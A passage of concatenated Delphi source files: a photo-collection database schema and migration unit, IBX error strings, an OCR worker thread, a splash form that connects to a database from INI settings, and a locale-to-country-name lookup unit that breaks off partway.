Tasks: TList<TCollectionUpdateTask>;
WorkThread: TThread;
Task: TCollectionUpdateTask;
begin
CloseSplashWindow;
if CurrentVersion = 0 then
CurrentVersion := GetCollectionVersion(CollectionFile);
ProgressForm := BackgroundTaskStatusForm;
Tasks := TUpdateTaskList.Create;
try
Task := TPackCollectionTask.Create(CollectionFile);
TPackCollectionTask(Task).SaveBackup := CreateBackUp;
Tasks.Add(Task);
Tasks.Add(TMigrateToV_003_Task.Create(CollectionFile));
Tasks.Add(TPackCollectionTask.Create(CollectionFile));
TotalAmount := 0;
ReadyAmount := 0;
for I := 0 to Tasks.Count - 1 do
Inc(TotalAmount, Tasks[I].Estimate);
WorkThread := TThread.CreateAnonymousThread(
procedure
var
I: Integer;
CurrentAmount: Int64;
Task: TCollectionUpdateTask;
begin
//to call show modal before end of all update process
Sleep(100);
CoInitializeEx(nil, COM_MODE);
try
for I := 0 to Tasks.Count - 1 do
begin
Task := Tasks[I];
TThread.Synchronize(nil,
procedure
begin
ProgressForm.SetText(Task.Text);
end
);
CurrentVersion := Task.Execute(
procedure(Sender: TObject; Total, Value: Int64)
begin
CurrentAmount := ReadyAmount + Round((Task.Estimate * Value) / Total);
TThread.Synchronize(nil,
procedure
begin
ProgressForm.SetProgress(TotalAmount, CurrentAmount);
end
);
end
, CurrentVersion);
ReadyAmount := ReadyAmount + Task.Estimate;
TThread.Synchronize(nil,
procedure
begin
ProgressForm.SetProgress(TotalAmount, ReadyAmount);
end
);
end;
finally
TThread.Synchronize(nil,
procedure
begin
ProgressForm.CloseForm;
end
);
CoUninitialize;
end;
end
);
WorkThread.FreeOnTerminate := True;
WorkThread.Start;
ProgressForm.ShowModal;
finally
FreeList(Tasks);
end;
Result := True;
end;
class function TDBScheme.IsNewColectionFile(CollectionFile: string): Boolean;
begin
Result := GetCollectionVersion(CollectionFile) > CURRENT_DB_SCHEME_VERSION;
end;
class function TDBScheme.IsOldColectionFile(CollectionFile: string): Boolean;
var
Version: Integer;
begin
Version := GetCollectionVersion(CollectionFile);
Result := (1 < Version) and (Version < CURRENT_DB_SCHEME_VERSION);
end;
class function TDBScheme.IsValidCollectionFile(CollectionFile: string): Boolean;
begin
Result := GetCollectionVersion(CollectionFile) = CURRENT_DB_SCHEME_VERSION;
end;
class procedure TDBScheme.CreateDatabaseFile(CollectionFile: string);
begin
try
CreateMSAccessDatabase(CollectionFile);
except
on E: Exception do
begin
EventLog(':CreateDatabaseFile() throw exception: ' + E.message);
raise;
end;
end;
end;
class function TDBScheme.CreateSettingsTable(CollectionFile: string): Boolean;
var
SQL: string;
FQuery: TDataSet;
begin
Result := True;
FQuery := GetQuery(CollectionFile, True, dbilExclusive);
try
SQL := 'CREATE TABLE DBSettings ( ' +
'Version INTEGER , ' +
'DBName Character(255) , ' +
'DBDescription Character(255) , ' +
'DBJpegCompressionQuality INTEGER , ' +
'ThSizePanelPreview INTEGER , ' +
'ThImageSize INTEGER , ' +
'ThHintSize INTEGER)';
SetSQL(FQuery, SQL);
try
ExecSQL(FQuery);
except
on E: Exception do
begin
EventLog(':ADOCreateSettingsTable() throw exception: ' + E.message);
raise;
end;
end;
finally
FreeDS(FQuery);
end;
end;
class function TDBScheme.CreateImageTable(CollectionFile: string): Boolean;
var
SQL: string;
FQuery: TDataSet;
begin
Result := False;
FQuery := GetQuery(CollectionFile, True, dbilExclusive);
try
SQL := 'CREATE TABLE ImageTable (' +
'ID Autoincrement,' +
'Name Character(255),' +
'FFileName Memo,' +
'Comment Memo,' +
'IsDate Logical,' +
'DateToAdd Date ,' +
'Owner Character(255),' +
'Rating INTEGER ,' +
'Thum LONGBINARY,' +
'FileSize INTEGER ,' +
'KeyWords Memo,' +
'Groups Memo,' +
'StrTh Character(100),' +
'StrThCrc INTEGER , ' +
'Attr INTEGER,' +
'Collection Character(255),' +
'Access INTEGER ,' +
'Width INTEGER ,' +
'Height INTEGER ,' +
'Colors INTEGER ,' +
'Include Logical,' +
'Links Memo,' +
'aTime TIME,' +
'IsTime Logical,' +
'FolderCRC INTEGER,' +
'Rotated INTEGER )';
SetSQL(FQuery, SQL);
try
ExecSQL(FQuery);
except
on E: Exception do
begin
EventLog(':ADOCreateImageTable() throw exception: ' + E.message);
raise;
end;
end;
Result := True;
finally
FreeDS(FQuery);
end;
FQuery := GetQuery(CollectionFile, True, dbilExclusive);
try
SQL := 'CREATE INDEX aID ON ImageTable(ID)';
SetSQL(FQuery, SQL);
ExecSQL(FQuery);
SQL := 'CREATE INDEX aFolderCRC ON ImageTable(FolderCRC)';
SetSQL(FQuery, SQL);
ExecSQL(FQuery);
SQL := 'CREATE INDEX aStrThCrc ON ImageTable(StrThCrc)';
SetSQL(FQuery, SQL);
ExecSQL(FQuery);
finally
FreeDS(FQuery);
end;
end;
class function TDBScheme.CreateGroupsTable(CollectionFile: string): Boolean;
var
SQL: string;
FQuery: TDataSet;
begin
Result := True;
FQuery := GetQuery(CollectionFile, True, dbilExclusive);
try
SQL := 'CREATE TABLE Groups ( ' +
'ID Autoincrement , ' +
'GroupCode Memo , ' +
'GroupName Memo , ' +
'GroupComment Memo , ' +
'GroupDate Date , ' +
'GroupFaces Memo , ' +
'GroupAccess INTEGER , ' +
'GroupImage LONGBINARY, ' +
'GroupKW Memo , ' +
'RelatedGroups Memo , ' +
'IncludeInQuickList Logical , ' +
'GroupAddKW Logical)';
SetSQL(FQuery, SQL);
try
ExecSQL(FQuery);
except
on E: Exception do
begin
EventLog(':ADOCreateGroupsTable() throw exception: ' + E.message);
Result := False;
raise;
end;
end;
finally
FreeDS(FQuery);
end;
end;
class procedure TDBScheme.MigrateToVersion003(CollectionFile: string; Progress: TSimpleCallBackProgressRef);
const
TotalActions = 44;
var
FQuery: TDataSet;
Counter: Integer;
Errors: TStrings;
procedure Exec(SQL: string; CurrentAction: Integer);
begin
try
SetSQL(FQuery, SQL);
ExecSQL(FQuery);
except
on e: Exception do
begin
EventLog(e);
Errors.Add(E.Message);
end;
end;
Progress(nil, TotalActions, CurrentAction);
end;
procedure AlterColumn(ColumnDefinition: string; CurrentAction: Integer);
begin
Exec('ALTER TABLE ImageTable ALTER COLUMN ' + ColumnDefinition, CurrentAction);
end;
procedure DropColumn(ColumnName: string; CurrentAction: Integer);
begin
Exec('ALTER TABLE ImageTable DROP COLUMN ' + ColumnName, CurrentAction);
end;
procedure RemoveNull(ColumnName, Value: string; CurrentAction: Integer);
begin
Exec(FormatEx('UPDATE ImageTable SET {0} = {1} WHERE {0} IS NULL', [ColumnName, Value]), CurrentAction);
end;
procedure AddColumn(ColumnDefinition: string; CurrentAction: Integer);
begin
Exec('ALTER TABLE ImageTable ADD COLUMN ' + ColumnDefinition, CurrentAction);
end;
function TableExists(TableName: string): Boolean;
var
List: TStrings;
I: Integer;
begin
Result := False;
List := TStringList.Create;
try
GetTableNames(FQuery, List);
for I := 0 to List.Count - 1 do
begin
if AnsiLowerCase(List[I]) = AnsiLowerCase(TableName) then
Exit(True);
end;
finally
F(List);
end;
end;
type
TCreateTableProc = procedure(CollectionFileName: string);
procedure CreateTable(CreateTableProc: TCreateTableProc; CurrentAction: Integer);
begin
try
CreateTableProc(CollectionFile);
except
on e: Exception do
begin
EventLog(e);
Errors.Add(E.Message);
end;
end;
Progress(nil, TotalActions, CurrentAction);
end;
function NextID: Integer;
begin
Inc(Counter);
Result := Counter;
end;
begin
Counter := 0;
Errors := TStringList.Create;
FQuery := GetQuery(CollectionFile, True, dbilExclusive);
try
if not TableExists('Groups') then
CreateTable(@CreateGroupsTable, NextID);
if not TableExists('Objects') then
CreateTable(@CreateObjectsTable, NextID);
if not TableExists('ObjectMapping') then
CreateTable(@CreateObjectMappingTable, NextID);
Exec('DROP INDEX aID ON ImageTable', NextID);
Exec('DROP INDEX aFolderCRC ON ImageTable', NextID);
Exec('DROP INDEX aStrThCrc ON ImageTable', NextID);
AlterColumn('Name TEXT(255) NOT NULL', NextID);
AlterColumn('FFileName Memo NOT NULL', NextID);
AlterColumn('Comment Memo NOT NULL', NextID);
AlterColumn('IsDate Logical NOT NULL', NextID);
AlterColumn('DateToAdd Date NOT NULL', NextID);
AlterColumn('Rating INTEGER NOT NULL', NextID);
AlterColumn('Thum LONGBINARY NOT NULL', NextID);
AlterColumn('FileSize INTEGER NOT NULL', NextID);
AlterColumn('KeyWords Memo NOT NULL', NextID);
AlterColumn('Groups Memo NOT NULL', NextID);
AlterColumn('StrTh Character(100) NOT NULL', NextID);
RemoveNull('StrThCrc', '0', NextID);
AlterColumn('StrThCrc INTEGER NOT NULL', NextID);
AlterColumn('Attr INTEGER NOT NULL', NextID);
AlterColumn('Access INTEGER NOT NULL', NextID);
AlterColumn('Width INTEGER NOT NULL', NextID);
AlterColumn('Height INTEGER NOT NULL', NextID);
AlterColumn('Include Logical NOT NULL', NextID);
AlterColumn('Links Memo NOT NULL', NextID);
AlterColumn('aTime TIME NOT NULL', NextID);
AlterColumn('IsTime Logical NOT NULL', NextID);
AlterColumn('FolderCRC INTEGER NOT NULL', NextID);
AlterColumn('Rotated INTEGER NOT NULL', NextID);
DropColumn('Owner', NextID);
DropColumn('Collection', NextID);
DropColumn('Colors', NextID);
Exec('CREATE UNIQUE INDEX I_ID ON ImageTable(ID)', NextID);
Exec('CREATE INDEX I_FolderCRC ON ImageTable(FolderCRC) WITH DISALLOW NULL', NextID);
Exec('CREATE INDEX I_StrThCrc ON ImageTable(StrThCrc) WITH DISALLOW NULL', NextID);
AddColumn('[Colors] TEXT(50) NOT NULL', NextID);
AddColumn('PreviewSize INTEGER NOT NULL DEFAULT 0', NextID);
AddColumn('ViewCount INTEGER NOT NULL DEFAULT 0', NextID);
AddColumn('Histogram LONGBINARY NULL', NextID);
AddColumn('DateUpdated Date NOT NULL', NextID);
RemoveNull('Colors', '""', NextID);
RemoveNull('PreviewSize', '0', NextID);
RemoveNull('ViewCount', '0', NextID);
RemoveNull('DateUpdated', '"01-01-2000"', NextID);
try
if Errors.Count > 0 then
Errors.SaveToFile(CollectionFile + '.errors.log');
except
//ignore exceptions
end;
finally
FreeDS(FQuery);
F(Errors);
end;
UpdateCollectionVersion(CollectionFile, 3);
end;
class function TDBScheme.CreateObjectsTable(CollectionFile: string): Boolean;
var
SQL: string;
FQuery: TDataSet;
begin
Result := True;
FQuery := GetQuery(CollectionFile, True, dbilExclusive);
try
SQL := 'CREATE TABLE Objects ( '
+ '[ObjectID] AutoIncrement PRIMARY KEY, '
+ '[ObjectType] INTEGER NOT NULL, '
+ '[ObjectUniqID] Character(40) NOT NULL, '
+ '[ObjectName] Character(255) NOT NULL, '
+ '[RelatedGroups] Memo NOT NULL, '
+ '[BirthDate] Date NOT NULL, '
+ '[Phone] Character(40) NOT NULL, '
+ '[Address] Character(255) NOT NULL, '
+ '[Company] Character(100) NOT NULL, '
+ '[JobTitle] Character(100) NOT NULL, '
+ '[IMNumber] Character(255) NOT NULL, '
+ '[Email] Character(255) NOT NULL, '
+ '[Sex] INTEGER NOT NULL, '
+ '[ObjectComment] Memo NOT NULL, '
+ '[CreateDate] Date NOT NULL, '
+ '[Image] LONGBINARY)';
SetSQL(FQuery, SQL);
try
ExecSQL(FQuery);
except
on E: Exception do
begin
EventLog(':ADOCreateObjectsTable() throws exception: ' + E.message);
Result := False;
end;
end;
finally
FreeDS(FQuery);
end;
FQuery := GetQuery(CollectionFile, True, dbilExclusive);
try
SQL := 'CREATE INDEX aObjectID ON Objects(ObjectID)';
SetSQL(FQuery, SQL);
try
ExecSQL(FQuery);
except
on E: Exception do
begin
EventLog(':ADOCreateObjectsTable() throws exception: ' + E.message);
Result := False;
end;
end;
finally
FreeDS(FQuery);
end;
end;
class function TDBScheme.CreateObjectMappingTable(CollectionFile: string): Boolean;
var
SQL: string;
FQuery: TDataSet;
begin
Result := True;
FQuery := GetQuery(CollectionFile, True, dbilExclusive);
try
SQL := 'ALTER TABLE ImageTable ADD PRIMARY KEY (ID)';
SetSQL(FQuery, SQL);
try
ExecSQL(FQuery);
except
on E: Exception do
begin
EventLog(':ADOCreateObjectMappingTable() throws exception: ' + E.message);
Result := False;
end;
end;
finally
FreeDS(FQuery);
end;
FQuery := GetQuery(CollectionFile, True, dbilExclusive);
try
SQL := 'CREATE TABLE ObjectMapping ( '
+ '[ObjectMappingID] AutoIncrement PRIMARY KEY, '
+ '[ObjectID] INTEGER NOT NULL CONSTRAINT FK_ObjectID REFERENCES Objects (ObjectID) ON DELETE CASCADE, '
+ '[Left] INTEGER NOT NULL, '
+ '[Right] INTEGER NOT NULL, '
+ '[Top] INTEGER NOT NULL, '
+ '[Bottom] INTEGER NOT NULL, '
+ '[ImageWidth] INTEGER NOT NULL, '
+ '[ImageHeight] INTEGER NOT NULL, '
+ '[PageNumber] INTEGER NOT NULL, '
+ '[ImageID] INTEGER NOT NULL CONSTRAINT FK_ImageID REFERENCES ImageTable (ID) ON DELETE CASCADE)';
SetSQL(FQuery, SQL);
try
ExecSQL(FQuery);
except
on E: Exception do
begin
EventLog(':ADOCreateObjectMappingTable() throws exception: ' + E.message);
Result := False;
end;
end;
finally
FreeDS(FQuery);
end;
FQuery := GetQuery(CollectionFile, True, dbilExclusive);
try
SQL := 'CREATE INDEX aObjectMappingID ON ObjectMapping(ObjectMappingID)';
SetSQL(FQuery, SQL);
try
ExecSQL(FQuery);
except
on E: Exception do
begin
EventLog(':ADOCreateObjectMappingTable() throws exception: ' + E.message);
Result := False;
end;
end;
finally
FreeDS(FQuery);
end;
end;
class function TDBScheme.GetCollectionVersion(CollectionFile: string): Integer;
var
SC: TSelectCommand;
Field: TField;
begin
Result := 0;
SC := TSelectCommand.Create(TableSettings, CollectionFile, True);
try
SC.AddParameter(TAllParameter.Create);
SC.AddWhereParameter(TCustomConditionParameter.Create('1 = 1'));
try
//low-level checking
if (SC.Execute > 0) and (SC.DS <> nil) then
begin
Field := SC.DS.FindField('Version');
if (Field <> nil) and (Field.DataType = ftInteger) then
Result := Field.AsInteger;
end;
except
on e: Exception do
EventLog(e);
end;
finally
F(SC);
end;
end;
class procedure TDBScheme.UpdateCollectionVersion(CollectionFile: string; Version: Integer);
var
UC: TUpdateCommand;
SC: TSelectCommand;
IC: TInsertCommand;
begin
SC := TSelectCommand.Create(TableSettings, CollectionFile, True);
try
SC.AddParameter(TAllParameter.Create);
SC.AddWhereParameter(TCustomConditionParameter.Create('1 = 1'));
if SC.Execute < 1 then
begin
IC := TInsertCommand.Create(TableSettings, CollectionFile);
try
IC.AddParameter(TIntegerParameter.Create('Version', Version));
IC.AddParameter(TIntegerParameter.Create('DBJpegCompressionQuality', 75));
IC.AddParameter(TIntegerParameter.Create('ThSizePanelPreview', 100));
IC.AddParameter(TIntegerParameter.Create('ThImageSize', 200));
IC.AddParameter(TIntegerParameter.Create('ThHintSize', 400));
IC.Execute;
finally
F(IC);
end;
end else
begin
UC := TUpdateCommand.Create(TableSettings, CollectionFile);
try
UC.AddParameter(TIntegerParameter.Create('Version', Version));
UC.AddWhereParameter(TCustomConditionParameter.Create('1 = 1'));
UC.Execute;
finally
F(UC);
end;
end;
finally
F(SC);
end;
end;
{ TCollectionUpdateTask }
constructor TCollectionUpdateTask.Create(FileName: string);
begin
FFileName := FileName;
end;
function TCollectionUpdateTask.Estimate: Integer;
begin
Result := 1;
end;
function TCollectionUpdateTask.Execute(Progress: TSimpleCallBackProgressRef; CurrentVersion: Integer): Integer;
begin
Result := 0;
end;
function TCollectionUpdateTask.Text: string;
begin
Result := 'Task name';
end;
{ TPackCollectionTask }
constructor TPackCollectionTask.Create(FileName: string);
begin
inherited;
FSaveBackup := False;
end;
function TPackCollectionTask.Estimate: Integer;
begin
Result := 100;
end;
function TPackCollectionTask.Execute(Progress: TSimpleCallBackProgressRef;
CurrentVersion: Integer): Integer;
var
BackupFileName: string;
begin
Result := CurrentVersion;
if SaveBackup then
begin
BackupFileName := ExtractFilePath(FileName) + GetFileNameWithoutExt(FileName) + '_' + FormatDateTime('yyyy-mm-dd HH-MM-SS', Now) + '.photodb';
PackTable(FileName, Progress, BackupFileName);
end else
PackTable(FileName, Progress);
end;
function TPackCollectionTask.Text: string;
begin
Result := TA('Check file, %', 'CollectionUpgrade');
end;
{ TMigrateToV_003_Task }
function TMigrateToV_003_Task.Estimate: Integer;
begin
Result := 100;
end;
function TMigrateToV_003_Task.Execute(Progress: TSimpleCallBackProgressRef;
CurrentVersion: Integer): Integer;
begin
Result := CurrentVersion;
if CurrentVersion < 3 then
begin
TDBScheme.MigrateToVersion003(FileName, Progress);
Result := 3;
end;
end;
function TMigrateToV_003_Task.Text: string;
begin
Result := TA('Upgdate file, %', 'CollectionUpgrade');
end;
end.
|
unit uIBXCommonDBErrors;
interface
resourcestring
E_IBXCommonDB_DBIsNil = 'IBDatabase is nil!';
E_IBXCommonDB_AlreadyStarted = 'TIBXDBTransaction.Start: already started!';
E_IBXCommonDB_CommitNotInTran = 'TIBXDBTransaction.Commit: not in transaction!';
E_IBXCommonDB_RollbackNotInTran = 'TIBXDBTransaction.Rollback: not in transaction!';
E_IBXCommonDB_NewSQLNotIBQuery = 'TIBXDBTransaction.NewSQL: not TIBQuery!';
E_IBXCommonDB_NewSQLNotMine = 'TIBXDBTransaction.NewSQL: supported query is not mine!';
implementation
end.
|
unit uI2XProductThread;
interface
uses
SysUtils,
Classes,
uI2XDLL,
uDWImage,
GR32,
uI2XThreadBase,
uStrUtil,
uHashTable,
uI2XConstants,
uImage2XML,
uI2XTemplate,
uI2XOCR,
Typinfo,
uI2XImageProcJobThread,
uI2XOCRProcThread,
uI2XProduct
;
type
TI2XProductThread = class(TI2XImageProcJobThread)
private
FTemplate : CTemplate;
FTests : TDLLOCRTests;
FTestsCreatedInternally : boolean;
FResultXML : string;
protected
procedure Execute; override;
procedure SetOCREngineTests( OCREngineTests : TDLLOCRTests );
public
property Template : CTemplate read FTemplate write FTemplate;
property OCREngineTests : TDLLOCRTests read FTests write SetOCREngineTests;
constructor Create(); overload;
constructor Create( bmp32: TBitmap32 ); overload;
destructor Destroy; override;
end;
implementation
{ TI2XProductThread }
procedure TI2XProductThread.Execute;
var
OCR : TI2XOCRProcJobThread;
Begin
self.EnableJobEvents := false; //We do not job events enabled on the sub class..
inherited;
try
self.OnJobStart( self.InstructionList.Count );
OCR := TI2XOCRProcJobThread.Create;
OCR.DebugLevel := self.DebugLevel;
OCR.DebugPath := self.DebugPath;
OCR.ImageMemoryMapID := self.ImageMemoryMapID;
OCR.Template := self.Template;
OCR.OCREngineTests := self.OCREngineTests;
OCR.OnStatusChangeEvent := self.OnStatusChangeEvent;
OCR.EnableJobEvents := EnableJobEvents;
OCR.ExecuteOCR();
self.OnReturnXML( OCR.ResultXML );
self.OnJobEnd( OCR.TestCount, OCR.ImageMemoryMapID );
finally
FreeAndNil( OCR );
end;
End;
procedure TI2XProductThread.SetOCREngineTests( OCREngineTests : TDLLOCRTests );
begin
//If we set FTests externally, since we have already allocated it internally,
// it will cause a memory leak if we do not destroy the old instance.
if ( FTests <> nil ) then
FTests.Free;
FTestsCreatedInternally := false;
FTests := OCREngineTests;
end;
constructor TI2XProductThread.Create;
begin
inherited Create();
FTests := TDLLOCRTests.Create();
FTestsCreatedInternally := true;
end;
constructor TI2XProductThread.Create(bmp32: TBitmap32);
begin
inherited Create( bmp32 );
FTests := TDLLOCRTests.Create();
FTestsCreatedInternally := true;
end;
destructor TI2XProductThread.Destroy;
begin
if ( FTestsCreatedInternally ) then FreeAndNil( FTests );
inherited;
end;
END.
|
unit UnitLoading;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, DB, ADODB, ExtCtrls, jpeg, StdCtrls, sButton, sSkinProvider,
sSkinManager, ComCtrls, acProgressBar, sLabel, sGauge;
type
TfrmLoading = class(TForm)
con: TADOConnection;
imgLoading: TImage;
tmrLoading: TTimer;
skmExam: TsSkinManager;
skpExam: TsSkinProvider;
lblTitle: TsLabelFX;
lblAuthor: TsLabelFX;
sgLoading: TsGauge;
procedure FormCreate(Sender: TObject);
procedure tmrLoadingTimer(Sender: TObject);
private
isInit: Boolean;
{ Private declarations }
procedure CreateIniFile(fileName: string);
procedure createConection(fileName: string);
procedure init;
public
{ Public declarations }
appPath: string;
userName: string;
userId: integer;
imagePath: string;
end;
var
frmLoading: TfrmLoading;
implementation
uses
IniFiles, UnitConst, UnitCommon, UnitMain;
{$R *.dfm}
procedure TfrmLoading.createConection(fileName: string);
var
ADOString: string;
iniFile: TIniFile;
DBFile: String;
begin
try
iniFile := TIniFile.Create(fileName);
ADOString := iniFile.ReadString(INI_DB_SECTION, INI_DB_ADOSTRING, INI_DB_ADOSTRING_DEFAULT_VAL);
DBFile := iniFile.ReadString(INI_DB_SECTION, INI_DB_FILE, INI_DB_FILE_DEFAULT_PATH);
imagePath := iniFile.ReadString(INI_DB_SECTION, INI_IMAGE_PATH, INI_DEFAULT_IMAGE_PATH);
con.Close;
con.ConnectionString := Format(INI_DB_ADOSTRING_DEFAULT_VAL,[appPath + DBFile]);
con.LoginPrompt := False;
con.Connected := True;
except
tmrLoading.Enabled := False;
Application.MessageBox(ERR_CONNECT_DB_FAILURE, ERR_MSG_TITLE, MB_OK + MB_ICONSTOP);
Close;
end;
end;
procedure TfrmLoading.CreateIniFile(fileName: string);
var
iniFile: TIniFile;
begin
//------------------------------------------------------------------------------
// 往Ini文件写数据库地址及文件地址
//------------------------------------------------------------------------------
iniFile := TIniFile.Create(fileName);
iniFile.WriteString(INI_DB_SECTION, INI_DB_ADOSTRING, INI_DB_ADOSTRING_DEFAULT_VAL);
iniFile.WriteString(INI_DB_SECTION, INI_DB_FILE, INI_DB_FILE_DEFAULT_PATH);
iniFile.WriteString(INI_DB_SECTION, INI_IMAGE_PATH, INI_DEFAULT_IMAGE_PATH);
end;
procedure TfrmLoading.FormCreate(Sender: TObject);
begin
Height := 300;
Width := 500;
con.Close;
end;
procedure TfrmLoading.tmrLoadingTimer(Sender: TObject);
begin
sgLoading.Progress := sgLoading.Progress + 1;
if (not isInit) and (sgLoading.Progress > 90) then
begin
init;
isInit := True;
end
else if (sgLoading.Progress >= 100) then
begin
sgLoading.Progress := 100;
tmrLoading.Enabled := False;
Self.Hide;
frmMain.Show;
end;
end;
procedure TfrmLoading.init;
begin
appPath := ExtractFilePath(Application.ExeName);
if not FileExists(appPath + INI_FILE_NAME) then
begin
//初始化Ini
CreateIniFile(appPath + INI_FILE_NAME);
end;
//建立连接
createConection(appPath + INI_FILE_NAME);
end;
end.
|
unit UnitBandeiras;
interface
uses
windows,
SysUtils;
function GetCountryCode(Abreviacao: WideString): integer;
function GetCountryName(Abreviacao: WideString = ''; Code: integer = -1): WideString;
function GetActiveKeyboardLanguage: WideString;
function GetCountryAbreviacao: WideString;
implementation
function MAKELCID (wLanguageID, wSortID : Word) : DWORD;
begin
Result := (wSortID SHL 16) or (wLanguageID);
end;
function GetActiveKeyboardLanguage: WideString;
Var
LangName: pWideChar;
LangName2: pWideChar;
Local: integer;
begin
GetMem(LangName, MAX_PATH);
GetMem(LangName2, MAX_PATH);
Local := MAKELCID(GetKeyboardLayout(0), SORT_DEFAULT);
GetLocaleInfoW(Local, LOCALE_SENGLANGUAGE, LangName, MAX_PATH);
GetLocaleInfoW(Local, LOCALE_SLANGUAGE, LangName2, MAX_PATH);
Result := LangName + ' "' + LangName2 + '"';
FreeMem(LangName, MAX_PATH);
FreeMem(LangName2, MAX_PATH);
end;
function GetCountryAbreviacao: WideString;
var
IsValidCountryCode :Boolean;
CountryCode: pWideChar;
begin
GetMem(CountryCode, 5);
result := '';
IsValidCountryCode := (3 = GetLocaleInfoW(LOCALE_USER_DEFAULT, LOCALE_SISO3166CTRYNAME, CountryCode, SizeOf(CountryCode)));
if IsValidCountryCode then result := WideString(CountryCode);
end;
function GetCountryName(Abreviacao: WideString = ''; Code: integer = -1): WideString;
begin
Abreviacao := UpperCase(Abreviacao);
Result := 'Unknown';
if (Abreviacao = 'AF') or (Code = 0) then Result := 'Afghanistan' else
if (Abreviacao = 'AX') or (Code = 1) then Result := 'Aland Islands' else
if (Abreviacao = 'AL') or (Code = 2) then Result := 'Albania' else
if (Abreviacao = 'DZ') or (Code = 3) then Result := 'Algeria ' else
if (Abreviacao = 'AS') or (Code = 4) then Result := 'American Samoa' else
if (Abreviacao = 'AD') or (Code = 5) then Result := 'Andorra' else
if (Abreviacao = 'AO') or (Code = 6) then Result := 'Angola' else
if (Abreviacao = 'AI') or (Code = 7) then Result := 'Anguilla' else
if (Abreviacao = 'AQ') or (Code = 8) then Result := 'Antarctica' else
if (Abreviacao = 'AG') or (Code = 9) then Result := 'Antigua And Barbuda' else
if (Abreviacao = 'AR') or (Code = 10) then Result := 'Argentina' else
if (Abreviacao = 'AM') or (Code = 11) then Result := 'Armenia' else
if (Abreviacao = 'AW') or (Code = 12) then Result := 'Aruba' else
if (Abreviacao = 'AU') or (Code = 13) then Result := 'Australia' else
if (Abreviacao = 'AT') or (Code = 14) then Result := 'Austria' else
if (Abreviacao = 'AZ') or (Code = 15) then Result := 'Azerbaijan' else
if (Abreviacao = 'BS') or (Code = 16) then Result := 'Bahamas' else
if (Abreviacao = 'BH') or (Code = 17) then Result := 'Bahrain' else
if (Abreviacao = 'BD') or (Code = 18) then Result := 'Bangladesh' else
if (Abreviacao = 'BB') or (Code = 19) then Result := 'Barbados' else
if (Abreviacao = 'BY') or (Code = 20) then Result := 'Belarus' else
if (Abreviacao = 'BE') or (Code = 21) then Result := 'Belgium' else
if (Abreviacao = 'BZ') or (Code = 22) then Result := 'Belize' else
if (Abreviacao = 'BJ') or (Code = 23) then Result := 'Benin' else
if (Abreviacao = 'BM') or (Code = 24) then Result := 'Bermuda' else
if (Abreviacao = 'BT') or (Code = 25) then Result := 'Bhutan' else
if (Abreviacao = 'IO') or (Code = 26) then Result := 'British Indian Ocean Territory' else
if (Abreviacao = 'BO') or (Code = 27) then Result := 'Bolivia, Plurinational State Of' else
if (Abreviacao = 'BQ') or (Code = 28) then Result := 'Bonaire, Saint Eustatius And Saba' else
if (Abreviacao = 'BA') or (Code = 29) then Result := 'Bosnia And Herzegovina' else
if (Abreviacao = 'BW') or (Code = 30) then Result := 'Botswana' else
if (Abreviacao = 'BV') or (Code = 31) then Result := 'Bouvet Island' else
if (Abreviacao = 'BR') or (Code = 32) then Result := 'Brazil' else
if (Abreviacao = 'BN') or (Code = 33) then Result := 'Brunei Darussalam' else
if (Abreviacao = 'BG') or (Code = 34) then Result := 'Bulgaria' else
if (Abreviacao = 'BF') or (Code = 35) then Result := 'Burkina Faso' else
if (Abreviacao = 'BI') or (Code = 36) then Result := 'Burundi' else
if (Abreviacao = 'KH') or (Code = 37) then Result := 'Cambodia' else
if (Abreviacao = 'CM') or (Code = 38) then Result := 'Cameroon' else
if (Abreviacao = 'CA') or (Code = 39) then Result := 'Canada' else
if (Abreviacao = 'CV') or (Code = 40) then Result := 'Cape Verde' else
if (Abreviacao = 'KY') or (Code = 41) then Result := 'Cayman Islands' else
if (Abreviacao = 'CF') or (Code = 42) then Result := 'Central African Republic' else
if (Abreviacao = 'TD') or (Code = 43) then Result := 'Chad' else
if (Abreviacao = 'CL') or (Code = 44) then Result := 'Chile' else
if (Abreviacao = 'CN') or (Code = 45) then Result := 'China' else
if (Abreviacao = 'CX') or (Code = 46) then Result := 'Christmas Island' else
if (Abreviacao = 'CC') or (Code = 47) then Result := 'Cocos (Keeling) Islands' else
if (Abreviacao = 'CO') or (Code = 48) then Result := 'Colombia' else
if (Abreviacao = 'KM') or (Code = 49) then Result := 'Comoros' else
if (Abreviacao = 'CG') or (Code = 50) then Result := 'Congo' else
if (Abreviacao = 'CD') or (Code = 51) then Result := 'Congo, The Democratic Republic Of The' else
if (Abreviacao = 'CK') or (Code = 52) then Result := 'Cook Islands' else
if (Abreviacao = 'CR') or (Code = 53) then Result := 'Costa Rica' else
if (Abreviacao = 'HR') or (Code = 54) then Result := 'Croatia' else
if (Abreviacao = 'CU') or (Code = 55) then Result := 'Cuba' else
if (Abreviacao = 'CY') or (Code = 56) then Result := 'Cyprus' else
if (Abreviacao = 'CZ') or (Code = 57) then Result := 'Czech Republic' else
if (Abreviacao = 'DK') or (Code = 58) then Result := 'Denmark' else
if (Abreviacao = 'DJ') or (Code = 59) then Result := 'Djibouti' else
if (Abreviacao = 'DM') or (Code = 60) then Result := 'Dominica' else
if (Abreviacao = 'DO') or (Code = 61) then Result := 'Dominican Republic' else
if (Abreviacao = 'EC') or (Code = 62) then Result := 'Ecuador' else
if (Abreviacao = 'EG') or (Code = 63) then Result := 'Egypt' else
if (Abreviacao = 'SV') or (Code = 64) then Result := 'El Salvador' else
if (Abreviacao = 'GQ') or (Code = 65) then Result := 'Equatorial Guinea' else
if (Abreviacao = 'ER') or (Code = 66) then Result := 'Eritrea' else
if (Abreviacao = 'EE') or (Code = 67) then Result := 'Estonia' else
if (Abreviacao = 'ET') or (Code = 68) then Result := 'Ethiopia' else
if (Abreviacao = 'FK') or (Code = 69) then Result := 'Falkland Islands (Malvinas)' else
if (Abreviacao = 'FO') or (Code = 70) then Result := 'Faroe Islands' else
if (Abreviacao = 'FJ') or (Code = 71) then Result := 'Fiji' else
if (Abreviacao = 'FI') or (Code = 72) then Result := 'Finland' else
if (Abreviacao = 'FR') or (Code = 73) then Result := 'France' else
if (Abreviacao = 'PF') or (Code = 74) then Result := 'French Polynesia' else
if (Abreviacao = 'TF') or (Code = 75) then Result := 'French Southern Territories' else
if (Abreviacao = 'GA') or (Code = 76) then Result := 'Gabon' else
if (Abreviacao = 'GM') or (Code = 77) then Result := 'Gambia' else
if (Abreviacao = 'GE') or (Code = 78) then Result := 'Georgia' else
